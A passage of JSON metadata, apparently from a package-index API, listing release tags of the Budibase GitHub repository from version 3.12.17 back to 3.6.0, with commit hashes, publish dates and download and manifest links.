v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.17/manifests"},{"name":"3.12.16","sha":"e2e56428976d4c8a47b8fb02f32459d8fd979eb9","kind":"commit","published_at":"2025-06-18T10:29:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.16/manifests"},{"name":"3.12.15","sha":"4e6fc8afe4424b72b024b47ab852473b8c20208a","kind":"commit","published_at":"2025-06-18T08:48:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.15/manifests"},{"name":"3.12.14","sha":"75e332f1b07bcf7aaaef912fa8e6d8d49c0ec71f","kind":"commit","published_at":"2025-06-17T13:51:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.14/manifests"},{"name":"3.12.13","sha":"cbe31f107bf5291f5c57716b030d8af50d3c0355","kind":"commit","published_at":"2025-06-12T08:52:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.13/manifests"},{"name":"3.12.12","sha":"46e3fe1ba7a86da80f8cd9e4b449ec2abaf8d577","kind":"commit","published_at":"2025-06-11T14:40:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.12/manifests"},{"name":"3.12.11","sha":"75bb3059dcf67a20b54186df074117849ab9d637","kind":"commit","published_at":"2025-06-11T13:02:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.11/manifests"},{"name":"3.12.10","sha":"6cff679b1b6a3dbb39436286fdb31ba47240480c","kind":"commit","published_at":"2025-06-11T10:14:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.10/manifests"},{"name":"3.12.9","sha":"f3a14dcc2134ef720a66c488385716da3a768fa8","kind":"commit","published_at":"2025-06-10T13:11:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.9/manifests"},{"name":"3.12.8","sha":"95e5e96f34a069e4ff082ce20ee6acb51c5306cb","kind":"commit","published_at":"2025-06-03T13:46:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.8/manifests"},{"name":"3.12.7","sha":"710e25aa897031c9fcbcdb74c09605289972d509","kind":"commit","published_at":"2025-06-03T09:35:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.7/manifests"},{"name":"3.12.6","sha":"5b91db487fefaac8a8003856e648548f35f87944","kind":"commit","published_at":"2025-05-30T11:53:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.6/manifests"},{"name":"3.12.5","sha":"e7bacc94ee9f1639f5f9a8b8806c5b527d6d81e1","kind":"commit","published_at":"2025-05-29T15:15:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.5/manifests"},{"name":"3.12.4","sha":"176e7d5795b8fd579cbfdd8096a8696226b21564","kind":"commit","published_at":"2025-05-29T14:34:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.4/manifests"},{"name":"3.12.3","sha":"63767189a6878ad8b0cc6af79c0b9e53248cb402","kind":"commit","published_at":"2025-05-29T14:09:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.3/manifests"},{"name":"3.12.2","sha":"19da53f0e7b446a71ca67a6e07e0e9aab85cbac8","kind":"commit","published_at":"2025-05-29T08:36:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.2/manifests"},{"name":"3.12.1","sha":"93fa9e5ff80a7422827887d233ea26aacf610078","kind":"commit","published_at":"2025-05-28T11:01:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.1/manifests"},{"name":"3.12.0","sha":"dd9cde721b7cb2b3f7459d493c7c060ad592b331","kind":"commit","published_at":"2025-05-27T08:00:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.0/manifests"},{"name":"3.11.2","sha":"14c2442a76a1d18126321d9ded8b66c641d9e06b","kind":"commit","published_at":"2025-05-19T12:46:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.11.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.2/manifests"},{"name":"3.11.1","sha":"eb9533e46b790cd6fc2957765fb3cdaf15af29db","kind":"commit","published_at":"2025-05-16T07:07:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.11.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.1/manifests"},{"name":"3.11.0","sha":"bebafec53f0333bdce7e4f5b106fe5e3d27b49a0","kind":"commit","published_at":"2025-05-15T12:02:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.11.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.11.0/manifests"},{"name":"3.10.7","sha":"bad8e773b1085bb409c6a3155ca1e68a3ce399db","kind":"commit","published_at":"2025-05-15T08:25:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.7/manifests"},{"name":"3.10.6","sha":"1a6dafe2a540f7f866f9f920f9d4afbf22ed7e44","kind":"commit","published_at":"2025-05-13T15:53:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.6/manifests"},{"name":"3.10.5","sha":"1f244855d53107dbde4850c4f5362d529812e59d","kind":"commit","published_at":"2025-05-12T09:06:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.5/manifests"},{"name":"3.10.4","sha":"4215483418621c10a88b37d56cf5c61960686c12","kind":"commit","published_at":"2025-05-09T10:33:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.4/manifests"},{"name":"3.10.3","sha":"9eaa9bed1350e6826e8a84bcee426b2035124100","kind":"commit","published_at":"2025-05-08T12:23:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.3/manifests"},{"name":"3.10.2","sha":"f2f8a087f8fb8c0f9d45137647555f950836fdb6","kind":"commit","published_at":"2025-05-07T14:55:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.2/manifests"},{"name":"3.10.1","sha":"c44728215fb0a6259eecb96a19a52720f42ff29a","kind":"commit","published_at":"2025-05-07T10:33:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.1/manifests"},{"name":"3.10.0","sha":"0995d542f25d3b1652f2fb554c881c78971ac9de","kind":"commit","published_at":"2025-05-06T12:48:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.10.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.10.0/manifests"},{"name":"3.9.5","sha":"05c33e6d1fabd26d797c0bd693cc8431c3b1f651","kind":"commit","published_at":"2025-04-25T15:24:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.5/manifests"},{"name":"3.9.4","sha":"e268a07ae4d72cc7869f74adda971c8dd964e629","kind":"commit","published_at":"2025-04-25T13:29:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.4/manifests"},{"name":"3.9.3","sha":"39021dc48590512a244f52047a477933e23a92d4","kind":"commit","published_at":"2025-04-23T14:38:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.3/manifests"},{"name":"3.9.2","sha":"3ef756181fd13ccec518acbab5957761e2ee4333","kind":"commit","published_at":"2025-04-23T10:18:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.2/manifests"},{"name":"3.9.1","sha":"c3d4b6c7fce4ed00b7311379cc1d08eb05ac9b5c","kind":"commit","published_at":"2025-04-14T13:39:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.1/manifests"},{"name":"3.9.0","sha":"2b0d5878298033f5b4893b38203e5937449de855","kind":"commit","published_at":"2025-04-11T10:06:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.9.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.9.0/manifests"},{"name":"3.8.6","sha":"3ff8f7cc1751e2e9b7269594764331626cca4f13","kind":"commit","published_at":"2025-04-09T14:18:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.6/manifests"},{"name":"3.8.5","sha":"01bb66b4e2ce0eae24e20da5a7bb69d0ccd7bb57","kind":"commit","published_at":"2025-04-04T11:13:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.5/manifests"},{"name":"3.8.4","sha":"ab921ec6084c482cd54e9312155dfb3498216a9d","kind":"commit","published_at":"2025-04-03T15:03:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.4/manifests"},{"name":"3.8.3","sha":"73ca37f205f4b4ebdf01277d31b779c35fd32538","kind":"commit","published_at":"2025-04-03T08:50:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.3/manifests"},{"name":"3.8.2","sha":"0de71d8fda31a1d35b2c80162e35d95435cc7bc6","kind":"commit","published_at":"2025-04-03T08:00:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.2/manifests"},{"name":"3.8.1","sha":"5b071c0748ab3d8b9dda28e522356da703df8410","kind":"commit","published_at":"2025-04-01T08:44:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.1/manifests"},{"name":"3.8.0","sha":"b9a43341053700d2ab5404c6b0e61002d7c7a882","kind":"commit","published_at":"2025-03-31T14:03:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.8.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.8.0/manifests"},{"name":"3.7.5","sha":"efff3612b92feb94a12fa6c59e429a4a9c5a973c","kind":"commit","published_at":"2025-03-31T11:56:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.5/manifests"},{"name":"3.7.4","sha":"8c2f47291e784a7c281e83e81932f60ada67e9c1","kind":"commit","published_at":"2025-03-31T08:40:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.4/manifests"},{"name":"3.7.3","sha":"d6f55b4bc87f2e1fcff9e7169ac765d576eee166","kind":"commit","published_at":"2025-03-28T15:23:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.3/manifests"},{"name":"3.7.2","sha":"b1a4079e45cc949c15fc43f8e7f4ae0ac626de3d","kind":"commit","published_at":"2025-03-26T15:44:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.2/manifests"},{"name":"3.7.1","sha":"e51780b1d0f3847afc8048f7e30909efb3b87c11","kind":"commit","published_at":"2025-03-26T14:54:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.1/manifests"},{"name":"3.7.0","sha":"e572c6d553f3255f8330b12c1ace8bc268105458","kind":"commit","published_at":"2025-03-26T09:48:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.7.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.7.0/manifests"},{"name":"3.6.0","sha":"27d160730884ef3223752596522f6a701e336429","kind":"commit","published_at":"2025-03-21T10:41:47.000Z","download_url":"https://codeload.g